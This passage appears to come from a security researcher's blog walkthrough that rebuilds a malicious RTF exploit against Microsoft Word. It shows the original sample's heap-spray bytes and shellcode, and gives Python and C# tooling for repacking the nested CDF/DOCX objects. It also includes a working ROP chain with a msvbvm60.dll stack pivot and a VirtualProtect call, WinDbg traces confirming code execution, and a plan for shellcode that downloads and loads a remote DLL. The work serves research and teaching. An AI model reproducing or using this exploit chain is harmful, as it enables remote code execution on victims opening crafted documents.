 &lt;ax:ocx xmlns:ax="https://schemas.microsoft.com/office/2006/activeX" xmlns:r="https://schemas.openxmlformats.org/officeDocument/2006/relationships" ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1"/>

We can find those relationships in word/activeX/_rels. Once again, all the files are identical and contain:

&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?>
&lt;Relationships xmlns="https://schemas.openxmlformats.org/package/2006/relationships">
 &lt;Relationship Id="rId1" Type="https://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
&lt;/Relationships>

And therefore the embeded object is located at word/activeX/activeX1.bin.

$ file word/activeX/activeX1.bin
word/activeX/activeX1.bin: Composite Document File V2 Document, Cannot read section info

It is again a CDF file. Its contents will be loaded multiple times, effectively creating a heap spray. This is what will allow us to have controlled data at predictable addresses.

The payload starts at offset 0x800, just after the CDF headers. We can see that the byte sequence cb40 9472 ec83 8808 is repeated until offset 0x00000f30, where we see cb40 9472 d010 9472 followed by some “random” bytes. After that, 2b0e 9872 is repeated until offset 0x00001800. This whole sequence is repeated until the end of the file.

0x000007f0  ffff ffff ffff ffff ffff ffff ffff ffff  ................
0x00000800  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00000810  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00000820  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00000830  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
[...]
0x00000f20  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00000f30  cb40 9472 d010 9472 8f08 9572 b0dd 9572  .@.r...r...r...r
0x00000f40  908c 8808 0102 0000 4000 0000 45c0 a472  ........@...E..r
0x00000f50  892d 8888 8808 9b9b 33c9 648b 7130 8b76  .-......3.d.q0.v
0x00000f60  0c8b 761c 8b46 088b 7e20 8b36 813f 6b00  ..v..F..~ .6.?k.
0x00000f70  6500 75f0 8bf0 eb57 608b de56 8b73 3c8b  e.u....W`..V.s<.
0x00000f80  741e 7803 f356 8b76 2003 f333 c949 41ad  t.x..V.v ..3.IA.
0x00000f90  03c3 5633 f60f be10 3af2 7408 c1ce 0703  ..V3....:.t.....
0x00000fa0  f240 ebf1 3975 005e 75e4 5a8b fb8b 5a24  .@..9u.^u.Z...Z$
[...]
0x000010a0  8bc7 b900 0000 008b 1681 f233 33ad bc89  ...........33...
0x000010b0  1783 c101 81f9 5001 0000 7408 83c6 0483  ......P...t.....
0x000010c0  c704 ebe3 ffe0 cccc 2b0e 9872 2b0e 9872  ........+..r+..r
0x000010d0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x000010e0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x000010f0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
[...]
0x000017d0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x000017e0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x000017f0  2b0e 9872 2b0e 9872 2b0e 9872 2b0e 9872  +..r+..r+..r+..r
0x00001800  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00001810  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....
0x00001820  cb40 9472 ec83 8808 cb40 9472 ec83 8808  .@.r.....@.r....

Lets see how good is this spray. We attach WinDbg to Word after opening the malicious RTF and let it crash again. Then we look for some tag in the sprayed data, such as cb409472d0109472.

0:000> .logopen C:usersuserdesktoph1.txt
Opened log file 'C:usersuserdesktoph1.txt'
0:000> s 0 L?+80000000 cb 40 94 72 d0 10 94 72
[...]
0:000> .logclose
Closing open log file C:usersuserdesktoph1.txt

In the log file we can observe that the tag was first found in 0x02e80f50, and last found in 0x12eaff50. As we have chosen a tag which is not at the precise beginning of the sprayed data, we have to subtract its offset to obtain the real addresses in which we will find our payload:

0x00000f30  cb40 9472 d010 9472

0xf30 – 0x800 = 0x730
0x02e80f50 – 0x730 = 0x2E80820

0:000> dd 0x2E80820
02e80820  729440cb 088883ec 729440cb 088883ec
02e80830  729440cb 088883ec 729440cb 088883ec
02e80840  729440cb 088883ec 729440cb 088883ec
02e80850  729440cb 088883ec 729440cb 088883ec
02e80860  729440cb 088883ec 729440cb 088883ec
02e80870  729440cb 088883ec 729440cb 088883ec
02e80880  729440cb 088883ec 729440cb 088883ec
02e80890  729440cb 088883ec 729440cb 088883ec

0:000> dd 0x2E80820+0x1000
02e81820  729440cb 088883ec 729440cb 088883ec
02e81830  729440cb 088883ec 729440cb 088883ec
02e81840  729440cb 088883ec 729440cb 088883ec
02e81850  729440cb 088883ec 729440cb 088883ec
02e81860  729440cb 088883ec 729440cb 088883ec
02e81870  729440cb 088883ec 729440cb 088883ec
02e81880  729440cb 088883ec 729440cb 088883ec
02e81890  729440cb 088883ec 729440cb 088883ec

0:000> dd 0x2E80820+0x1000+0x1000
02e82820  729440cb 088883ec 729440cb 088883ec
02e82830  729440cb 088883ec 729440cb 088883ec
02e82840  729440cb 088883ec 729440cb 088883ec
02e82850  729440cb 088883ec 729440cb 088883ec
02e82860  729440cb 088883ec 729440cb 088883ec
02e82870  729440cb 088883ec 729440cb 088883ec
02e82880  729440cb 088883ec 729440cb 088883ec
02e82890  729440cb 088883ec 729440cb 088883ec

0:000> dd 0x2E80820+0x1000+0x1000-4
02e8281c  72980e2b 729440cb 088883ec 729440cb
02e8282c  088883ec 729440cb 088883ec 729440cb
02e8283c  088883ec 729440cb 088883ec 729440cb
02e8284c  088883ec 729440cb 088883ec 729440cb
02e8285c  088883ec 729440cb 088883ec 729440cb
02e8286c  088883ec 729440cb 088883ec 729440cb
02e8287c  088883ec 729440cb 088883ec 729440cb
02e8288c  088883ec 729440cb 088883ec 729440cb

The contents of activex1.bin can be found once each 0x1000 bytes from the first location where our payload is loaded.

Now we have everything we need to control EIP. We only need to be able to modify some files and build a RTF.

0x04 – Creating the matryoska

We have to manage the following structure in order to modify the relevant files:

RTF
    CDF/OLE                                Objeto embebido en RTF
        DOCX/ZIP                           Archivo dentro del contenedor CDF
            XML -> document.xml            Archivo que queremos modificar
    CDF/OLE                                Objeto embebido en RTF
        DOCX/ZIP                           Archivo dentro del contenedor CDF
            CDF/OLE -> activex1.bin        Archivo que queremos modificar

This is the plan:

  • 1. Modify the contents of activex1.bin, changing the payload
  • 2. Modify document.xml, changing the target address
  • 3. Create two new ZIPs/DOCX with the previously changed files
  • 4. Create two new CDF files containing the previously created ZIPs/DOCX
  • 5. Replace the two relevant objects in the original RTF with the two we have just created

Modifying activex1.bin

To do a quick test we will overwrite the first dword of each repeated chunk (offset 0x800 + N * 0x1000) with 0x41424344

$ cat tag_bin.py
import sys

if __name__ == '__main__':
        in_filepath = sys.argv[1]
        out_filepath = sys.argv[2]

        f = open(in_filepath, "rb")
        original = bytearray(f.read())
        f.close()

        begin = 0x800
        offset = 0x1000

        p = begin
        while p < len(original) - 4:
                original[p] = 0x44
                original[p+1] = 0x43
                original[p+2] = 0x42
                original[p+3] = 0x41

                p += offset

        f = open(out_filepath, "wb")
        f.write(original)
        f.close()

$ python tag_bin.py 00039807.doc/word/activeX/activeX1.bin test.bin
$ mv test.bin 00039807.doc/word/activeX/activeX1.bin

Modifying document.xml

We want to replace the address used by the authors of the sample with an address which is valid in our environment:

$ cat replace_offset.py
import struct
import sys

def dword_to_crap(v):
    # unicode -> utf8
    return struct.pack("<I", v).decode("utf-16le").encode("utf-8").encode("hex") def crap_to_dword(v): # utf8 -> unicode
    return unicode(v.decode("utf-8")).encode("utf-16le")

if __name__ == '__main__':
    whatb = sys.argv[1]
    withb = sys.argv[2]
    fpath = sys.argv[3]
    fdest = sys.argv[4]

    withv = dword_to_crap(int(withb, 16))

    #print ' -> %s' % crap_to_dword(whatb.decode("hex")).encode("hex")
    print 'Replacing raw utf8 "%s" with %s -> %s' % (whatb, withb, withv)

    f = open(fpath, "rb")
    b = f.read()
    f.close()

    c = b.replace(whatb.decode("hex"), withv.decode("hex"))

    f = open(fdest, "wb")
    f.write(c)
    f.close()

$ python2 replace_offset.py e8a3ace0a288 0x0f8f4820 000538E9.doc/word/document.xml document.xml
Replacing raw utf8 "e8a3ace0a288" with 0x0f8f4820 -> e4a0a0e0be8f
$ mv document.xml 000538E9.doc/word/document.xml

Creating the ZIPs/DOCX

$ cd 00039807.doc
$ zip -D -q -9 -r spray.doc .
$ cd ../000538E9.doc
$ zip -D -q -9 -r trigger.doc .

Creating the CDFs

We need a library which allows us to modify the contents of this kind of file. We have Python’s olefile, but writing is not fully implemented.

Finally, we decded tu use openmcdf, a C# library. Then we only have to write a simple utility:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using OpenMcdf;

namespace cdfreplace
{
    class Program
    {
        static void Main(string[] args)
        {
            string sourcefile = args[0];
            string targetstream = args[1];
            string replfile = args[2];
            string outfile = args[3];

            byte[] replbytes = System.IO.File.ReadAllBytes(replfile);

            System.IO.File.Copy(sourcefile, outfile);

            OpenMcdf.CompoundFile cf = new OpenMcdf.CompoundFile(
                outfile,
                OpenMcdf.CFSUpdateMode.Update,
                OpenMcdf.CFSConfiguration.Default | OpenMcdf.CFSConfiguration.EraseFreeSectors | OpenMcdf.CFSConfiguration.SectorRecycle
               );
            OpenMcdf.CFStream st = cf.RootStorage.GetStream(targetstream);
            st.SetData(replbytes);
            cf.Commit();
        }
    }
}

We rename the original CDF files we extracted at the beginning:

– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -> original_spray.cdf

– cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -> original_trigger.cdf

After installing OpenMcdf, we compile our utility. We execute these commands:

$ mono cdfreplace.exe original_spray.cdf Package 00039807.doc/spray.doc spray.cdf
$ mono cdfreplace.exe original_trigger.cdf Package 000538E9.doc/trigger.doc trigger.doc

Now we are ready to modify the original RTF file.

Modifying the RTF file

We use our simple tool to replace objects 1 and 2 with the objects we generated in the previous step.

$ python2 rtf.py --input original.rtf --output tmp.rtf --replace 1 --withfile spray.cdf
$ python2 rtf.py --input tmp.rtf --output final.rtf --replace 2 --withfile trigger.cdf

PoK (Proof of Kaboom)

After copying test.rtf to our isolated VM, we launch a new WinDbg session:

(de8.944): Unknown exception - code e0000002 (first chance)
(de8.944): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program Files (x86)Microsoft OfficeOffice15wwlib.dll - 
eax=0f8f4820 ebx=00000000 ecx=41424344 edx=00000004 esi=0a8b3f20 edi=0aa27604
eip=702882a6 esp=003349b8 ebp=00334a28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
wwlib!DllGetLCID+0x2e1e1c:
702882a6 ff5104          call    dword ptr [ecx+4]    ds:002b:41424348=????????

0:000> ub;u
wwlib!DllGetLCID+0x2e1e05:
7028828f 85c9            test    ecx,ecx
70288291 0f84c768e9ff    je      wwlib!DllGetLCID+0x1786d4 (7011eb5e)
70288297 8b4744          mov     eax,dword ptr [edi+44h]
7028829a 894844          mov     dword ptr [eax+44h],ecx
7028829d 8b4744          mov     eax,dword ptr [edi+44h]
702882a0 8b4044          mov     eax,dword ptr [eax+44h]
702882a3 8b08            mov     ecx,dword ptr [eax]
702882a5 50              push    eax
wwlib!DllGetLCID+0x2e1e1c:
702882a6 ff5104          call    dword ptr [ecx+4]
702882a9 e9b068e9ff      jmp     wwlib!DllGetLCID+0x1786d4 (7011eb5e)
702882ae 83f802          cmp     eax,2
702882b1 750f            jne     wwlib!DllGetLCID+0x2e1e38 (702882c2)
702882b3 8d4624          lea     eax,[esi+24h]
702882b6 50              push    eax
702882b7 52              push    edx
702882b8 e893171c00      call    wwlib!DllGetLCID+0x4a35c6 (70449a50)

EAX = 0x0f8f4820 and ECX = 0x41424344. It has crashed in a call instruction, which will redirect the execution flow to whatever address we put in the address 0x0f8f4820+4. The only thing left is creating a useful payload.

0x05 – Creating our payload

Lets remember the layout we need in order to control EIP:

Address      Value
X            X
X + 4        Target EIP

So, if we use 0x0f8f4820, we have to put at the beginning of the payload the following:

[
    0x0f8f4820,
    EIP
]

To achieve:

Address      Value
0x0f8f4820   0x0f8f4820
0x0f8f4824   Target EIP

How can we turn this into controlled code execution? We have a call to a controlled address. DEP is enabled, so we cannot simply jump to an address in the heap we control.

We have to use ROP, so we need ESP to point to an address in which we can put the address of our gadgets. This is, once again, the heap we are spraying, so we must perform a stack pivot.

Our goal, then, is to set EIP to a sequence of instructions which will make ESP point to somewhere in the heap we can control, possibly just after the two addresses we have used up to this point.

As we saw at the beginning of this post, the only module which is not ASLR enabled is msvbvm60.dll. Lets get the available gadgets:

$ sha256sum libs/msvbvm60.dll
2246b4feae199408ea66d4a90c1589026f4a5800ce5a28e583b94506a8a73dce  libs/msvbvm60.dll
$ ROPgadget --binary libs/msvbvm60.dll > gadgets.txt

Our environment is the following:

  • EAX = payload’s address
  • ECX = payload’s address
  • Top of the stack: payload’s address (once the call instruction is executed, it will be the return address)

We want:

  • ESP = payload’s address + some delta to bypass the first two addresses and leaves us enough space to work comfortably
  • To keep a copy of the original ESP just in case we want to restore Word to a sane execution and thus not crash.

Lets see which gadgets allow us to control ESP. We want to avoid those which perform calls or jumps (they may be useful, but after a quick glance there didn’t seem to be any which would allow us to keep going in a simple way).

$ cat gadgets.txt| grep -v call | grep -v jmp | grep -v jb | grep esp | grep xchg
[...]
0x7297d562 : je 0x7297d590 ; adc al, ch ; pop ecx ; xchg eax, esp ; add al, byte ptr [eax] ; ret 8
[...]

There are several gadgets matching our conditions, but we chose that one. It starts with a jump, but we can skip it anyway:

$ r2 libs/msvbvm60.dll
[0x72941af8]> s 0x7297d562
[0x7297d562]> pd
        ,=< 0x7297d562      7424           je 0x7297d588
        |   0x7297d564      10e8           adc al, ch
        |   0x7297d566      59             pop ecx
        |   0x7297d567      94             xchg eax, esp
        |   0x7297d568      0200           add al, byte [eax]
        |   0x7297d56a      c20800         ret 8

This is what will happen when EIP reaches 0x7297d564:

  • EAX = 0x0f8f4820
  • ECX = 0x0f8f4820
  • EAX = EAX + ECX’s 2nd less weighted byte => EAX = EAX + 0x48 => EAX = 0x0f8f4868
  • ECX = return address pushed by the call instruction
  • ESP = payload’s address + 0x48 => ESP = 0x0f8f4868
  • EAX = old stack address
  • EAX = old stack address + [0-0xff]
  • ESP = address of the first gadget in our ROP chain
  • EIP = address written in the offset 0x48 of our payload (0x0f8f4868 – 0x0f8f4820)

We have to take care of the “ret 8” in the end of the stack pivot, so we will insert 8 bytes of padding between the first and second gadgets.

From now on we are able to execute ROP gadgets. Lets do a quick check, forcing Word to jump to the classic 0x41414141:

import struct
import sys

p = lambda x: struct.pack("<L", x) heap = 0x0f8f4820 pivot = 0x7297d564 padsize = (heap >> 8) & 0xFF

rop = [
  p(heap),
  p(pivot),

  "a" * (padsize - 8),

  p(0x41414141)
]

payload = bytearray("".join(rop))
payload_size = len(payload)

if __name__ == '__main__':
  in_filepath = sys.argv[1]
  out_filepath = sys.argv[2]

  f = open(in_filepath, "rb")
  original = bytearray(f.read())
  f.close()

  begin = 0x800
  offset = 0x1000

  p = begin
  while p < len(original) - payload_size:
    for x in range(payload_size):
      original[p + x] = payload[x]

    p += offset

  f = open(out_filepath, "wb")
  f.write(original)
  f.close()

In WinDbg, we set a breakpoint in our stack pivot:

(2dc.158): Break instruction exception - code 80000003 (first chance)
eax=7ef88000 ebx=00000000 ecx=00000000 edx=77b3f142 esi=00000000 edi=00000000
eip=77ab000c esp=0da1f8d4 ebp=0da1f900 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!DbgBreakPoint:
77ab000c cc              int     3

0:016> bu 0x7297d564

0:016> g
(2dc.a70): Unknown exception - code e0000002 (first chance)
Breakpoint 0 hit
eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d564 esp=00494cb4 ebp=00494d28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef24:
7297d564 10e8            adc     al,ch

0:000> p
eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d566 esp=00494cb4 ebp=00494d28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef26:
7297d566 59              pop     ecx

0:000> p
eax=0f8f4868 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d567 esp=00494cb8 ebp=00494d28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef27:
7297d567 94              xchg    eax,esp

0:000> p
eax=00494cb8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d568 esp=0f8f4868 ebp=00494d28 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef28:
7297d568 0200            add     al,byte ptr [eax]          ds:002b:00494cb8=20

0:000> p
eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=7297d56a esp=0f8f4868 ebp=00494d28 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
msvbvm60!IID_IVbaHost+0xef2a:
7297d56a c20800          ret     8

0:000> p
eax=00494cd8 ebx=00000000 ecx=6ec182a9 edx=00000004 esi=0a769fc0 edi=0a8fdac4
eip=41414141 esp=0f8f4874 ebp=00494d28 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200286
41414141 ??              ???

Success.

The next step is executing a shellcode. To do so, we have to put it in a controlled memory address (the same heap page we are working in) and call

VirtualProtect(address, size, PAGE_EXECUTE_READWRITE, &old_protect);

Where:

  • address: address of the shellcode
  • size: size of the memory zone we want to make executable
  • PAGE_EXECUTE_READWRITE: we want to assign read+write+execute permissions, which is 0x40 in WinApi language. We’d like to use PAGE_EXECUTE_READ instead, but note that we are using the same memory address both for code and stack, so it must remain writable.
  • old_protect: where to save the old memory protection flags

We need the address of VirtualProtect. We might get it from the PEB, but msvbvm60 makes it easier for us. Lets check its imports:

$ r2 ibs/msvbvm60.dll
[0x72941af8]> ii~VirtualProtect
ordinal=053 plt=0x729410d0 bind=NONE type=FUNC name=KERNEL32.dll_VirtualProtect

0:000> dd 0x729410d0
729410d0  759042ff 75904333 7591e8c5 75925935
0:000> u 759042ff 
kernel32!VirtualProtectStub:
759042ff 8bff            mov     edi,edi
75904301 55              push    ebp
75904302 8bec            mov     ebp,esp
75904304 5d              pop     ebp
75904305 e9becdffff      jmp     kernel32!VirtualProtect (759010c8)

We have a pointer to VirtualProtect stored at msvbvm60’s 0x729410d0. If we jump here we only have to make sure that we have set up the stack in a way that resembles a proper call:

Top of the stack
----
old_protect                   ; push arg_4
PAGE_EXECUTE_READWRITE        ; push arg_3
size                          ; push arg_2
address                       ; push arg_1
siguiente gadget              ; call VirtualProtect
----
Bottom of the stack

How do we jump to VirtualProtect? We can look for gadgets containing jumps to registers that we can control:

  • Direct to register, such as jmp eax
  • Indirect to register, such as jmp [eax]

The second option saves us from having to ROP the dereference, so:

$ cat gadgets.txt| grep "jmp dword ptr ["
[...]
0x7295088f : jmp dword ptr [eax]
0x72a3eb27 : jmp dword ptr [ebp - 0x6c]
0x729907a2 : jmp dword ptr [ebx]
0x72a429d8 : jmp dword ptr [ecx - 1]
0x72949a32 : jmp dword ptr [ecx]
0x729eb1db : jmp dword ptr [edi]
0x729eb1e0 : jmp dword ptr [edx]
0x72a21a18 : jmp dword ptr [esi - 0x75]
0x72a00884 : jmp dword ptr [esi - 0x7d]
0x7295cb96 : jmp dword ptr [esi]
0x729eb1ef : jmp dword ptr [esp + esi*2]
[...]
0x729914fb : sti ; jmp dword ptr [ecx]
[...]

We have plenty of choice here. What registers are we able to control?

$ cat gadgets.txt| egrep ": pop (e[abcd]x|e[sd]i) ; ret"
0x729440cb : pop eax ; ret
0x72992f5e : pop eax ; ret 0x10
0x72a06933 : pop eax ; ret 0x14
0x729c0a9b : pop eax ; ret 0xc
0x72944175 : pop eax ; ret 4
0x7298fa2e : pop eax ; ret 8
0x72941f10 : pop ebx ; ret
0x72991c70 : pop ebx ; ret 0x10
0x72999274 : pop ebx ; ret 0x14
0x72941b4e : pop ebx ; ret 0xc
0x72943255 : pop ebx ; ret 4
0x729459e4 : pop ebx ; ret 8
0x729419f4 : pop ecx ; ret
0x729e1dfc : pop ecx ; ret 0x14
0x72954ecc : pop ecx ; ret 0x7297
0x729e19db : pop ecx ; ret 0xc
0x729ff08b : pop ecx ; ret 0xfff5
0x7294a47b : pop ecx ; ret 4
0x7294464b : pop ecx ; ret 8
0x7294575b : pop edi ; ret
0x729d0fc9 : pop edi ; ret 0x10
0x7294e501 : pop edi ; ret 4
0x7298c1e4 : pop edi ; ret 8
0x729a4421 : pop edx ; ret
0x72941e54 : pop esi ; ret
0x7294a52f : pop esi ; ret 0x10
0x72974c79 : pop esi ; ret 0x14
0x729a32b5 : pop esi ; ret 0x1c
0x729d831e : pop esi ; ret 0x24
0x72945a74 : pop esi ; ret 0xc
0x7294356a : pop esi ; ret 4
0x72945940 : pop esi ; ret 8

We will use EAX. However, it would be convenient to save it somewhere, as at this point it contains the only copy of the original value of ESP. This, however, is left as an exercise.

We have to choose a static address to use as the 4th argument of VirtualProtect. Let’s see where the data section is located:

[0x7297d562]> iS
[Sections]
idx=00 vaddr=0x72941000 paddr=0x00001000 sz=1032192 vsz=1032192 perm=m-r-x name=.text
idx=01 vaddr=0x72a3d000 paddr=0x000fd000 sz=53248 vsz=53248 perm=m-r-x name=ENGINE
idx=02 vaddr=0x72a4a000 paddr=0x0010a000 sz=28672 vsz=32768 perm=m-rw- name=.data
idx=03 vaddr=0x72a52000 paddr=0x00111000 sz=200704 vsz=200704 perm=m-r-- name=.rsrc
idx=04 vaddr=0x72a83000 paddr=0x00142000 sz=65536 vsz=65536 perm=m-r-- name=.reloc

0:000> dd 0x72a4a000 0x72a4a000+28672
[...]
72a4d290  00000000 00000000 00000000 00000000
72a4d2a0  00000000 00000000 00000000 00000000
72a4d2b0  00000000 00000000 00000000 00000000
72a4d2c0  00000000 00000000 00000000 00000000
72a4d2d0  00000000 00000000 00000000 00000000
72a4d2e0  00000000 00000000 00000000 00000000
72a4d2f0  00000000 00000000 00000000 00000000
72a4d300  00000000 00000000 00000000 00000000
72a4d310  00000000 00000000 00000000 00000000
72a4d320  00000000 00000000 00000000 00000000
72a4d330  00000000 00000000 00000000 00000000
72a4d340  00000000 00000000 00000000 00000000
72a4d350  00000000 00000000 00000000 00000000
72a4d360  00000000 00000000 00000000 00000000
72a4d370  00000000 00000000 00000000 00000000
72a4d380  00000000 00000000 00000000 00000000
72a4d390  00000000 00000000 00000000 00000000
72a4d3a0  00000000 00000000 00000000 00000000
72a4d3b0  00000000 00000000 00000000 00000000
[...]

We are looking for some unused space. For example, 0x72a4d300. We will zero out the dword at that address when we are done.

Our ROP chain would be like this:

heap = 0x0f8f4820
pivot = 0x7297d564
pop_eax = 0x729440cb
jmp_ptr_eax = 0x7295088f
ptr_virtualprotect = 0x729410d0

virtualprotect_size = 0x200
virtualprotect_prot = 0x40
virtualprotect_oldprot = 0x72a4d300
shellcode_address = heap + (padsize - 8) + 48

shellcode = "xcc"

rop = [
  p(heap),                  # @0
  p(pivot),                 # @4

  "a" * (padsize - 8),      # @8

  p(pop_eax),               # @ 8 + padsize
  "a" * 8,                  # @ 12 + padsize ; compensamos ret 8
  p(ptr_virtualprotect),   # @ 20 + padsize
  p(jmp_ptr_eax),           # @ 24 + padsize

  p(shellcode_address),     # @ 28 + padsize ; retorno de VirtualProtect
  p(shellcode_address),     # @ 32 + padsize ; address
  p(virtualprotect_size),   # @ 36 + padsize ; size
  p(virtualprotect_prot),   # @ 40 + padsize ; new prot
  p(virtualprotect_oldprot),# @ 44 + padsize ; & old prot

  shellcode                 # @ 48 + padsize
]

If everything went OK, after creating the RTF file and opening it with Word, WinDbg should catch the “int 3” we put as a shellcode.

0:015> bu 0x7297d564
(ecc.3d4): Unknown exception - code e0000002 (first chance)
Breakpoint 0 hit
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:Program Files (x86)Microsoft OfficeOffice15wwlib.dll - 
eax=0f8f4820 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d564 esp=00644bd4 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef24:
7297d564 10e8            adc     al,ch

0:000> p
eax=0f8f4868 ebx=00000000 ecx=0f8f4820 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d566 esp=00644bd4 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef26:
7297d566 59              pop     ecx

0:000> 
eax=0f8f4868 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d567 esp=00644bd8 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef27:
7297d567 94              xchg    eax,esp

0:000> 
eax=00644bd8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d568 esp=0f8f4868 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
msvbvm60!IID_IVbaHost+0xef28:
7297d568 0200            add     al,byte ptr [eax]          ds:002b:00644bd8=20

0:000> 
eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7297d56a esp=0f8f4868 ebp=00644c48 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
msvbvm60!IID_IVbaHost+0xef2a:
7297d56a c20800          ret     8

0:000> 
eax=00644bf8 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=729440cb esp=0f8f4874 ebp=00644c48 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
msvbvm60!ThunRTMain+0xb27:
729440cb 58              pop     eax

0:000> 
eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=729440cc esp=0f8f4878 ebp=00644c48 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
msvbvm60!ThunRTMain+0xb28:
729440cc c3              ret

0:000> 
eax=729410d0 ebx=00000000 ecx=6f9882a9 edx=00000004 esi=0a45f4d0 edi=0a47cde4
eip=7295088f esp=0f8f487c ebp=00644c48 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
msvbvm60!Zombie_Release+0x1e36:
7295088f ff20            jmp     dword ptr [eax]      ds:002b:729410d0={kernel32!VirtualProtectStub (75e342ff)}

0:000> dd esp
0f8f487c  0f8f4890 0f8f4890 00000200 00000040
0f8f488c  72a4d300 729440cc 088883ec 729440cb
0f8f489c  088883ec 729440cb 088883ec 729440cb
0f8f48ac  088883ec 729440cb 088883ec 729440cb
0f8f48bc  088883ec 729440cb 088883ec 729440cb
0f8f48cc  088883ec 729440cb 088883ec 729440cb
0f8f48dc  088883ec 729440cb 088883ec 729440cb
0f8f48ec  088883ec 729440cb 088883ec 729440cb

0:000> u 0f8f4890 
0f8f4890 cc              int     3
0f8f4891 40              inc     eax
0f8f4892 94              xchg    eax,esp
0f8f4893 72ec            jb      0f8f4881
0f8f4895 838808cb409472  or      dword ptr [eax-6BBF34F8h],72h
0f8f489c ec              in      al,dx
0f8f489d 838808cb409472  or      dword ptr [eax-6BBF34F8h],72h
0f8f48a4 ec              in      al,dx

0:000> g
(ecc.3d4): Break instruction exception - code 80000003 (first chance)
eax=00000001 ebx=00000000 ecx=f1290000 edx=003fe188 esi=0a45f4d0 edi=0a47cde4
eip=0f8f4890 esp=0f8f4890 ebp=00644c48 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
0f8f4890 cc              int     3

The only task left is writing a shellcode. ASM is beautiful, but it is generally more pleasurable to write C. Our shellcode will perform the following actions:

  • Download a DLL from somewhere in the internet
  • LoadLibrary() the downloaded file

